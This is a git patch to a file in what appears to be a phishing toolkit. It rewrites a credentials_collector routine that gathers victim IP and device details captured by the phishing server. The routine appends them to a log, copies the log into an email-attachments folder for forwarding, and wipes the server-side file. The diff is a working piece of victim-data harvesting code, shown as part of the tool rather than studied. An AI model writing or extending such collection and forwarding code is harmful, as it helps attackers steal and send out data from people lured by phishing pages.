From 9b7bbd114e4b2a933ae5008b7f74bd52bf96bd46 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Fri, 8 May 2020 14:38:44 +0300 Subject: [PATCH] Fixed adding to ips.txt --- Defs/ActionManager/simple_informant.py | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/Defs/ActionManager/simple_informant.py b/Defs/ActionManager/simple_informant.py index 1c1e536..d0a27d4 100644 --- a/Defs/ActionManager/simple_informant.py +++ b/Defs/ActionManager/simple_informant.py @@ -81,7 +81,22 @@ def credentials_collector(port): lines = creds.read().rstrip() if len(lines) != 0: log_writer('\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n {0}{2}{1}'.format(default_palette[2], default_palette[3], lines)) - run_command('touch Server/CapturedData/ip.txt && cat Server/www/ip.txt >> Server/CapturedData/ip.txt && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt && rm -rf Server/www/ip.txt && touch Server/www/ip.txt') + #run_command('touch Server/CapturedData/ip.txt + pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True) + # && cat Server/www/ip.txt >> Server/CapturedData/ip.txt + captured_ips = open('Server/CapturedData/ip.txt', 'a') + new_ips = open('Server/www/ip.txt') + captured_ips.write(new_ips.read()) + new_ips.close() + captured_ips.close() + # && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt + copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt') + # && rm -rf Server/www/ip.txt + new_ips = open('Server/www/ip.txt', 'w') + # && touch Server/www/ip.txt') + new_ips.write('') + new_ips.close() + creds.close()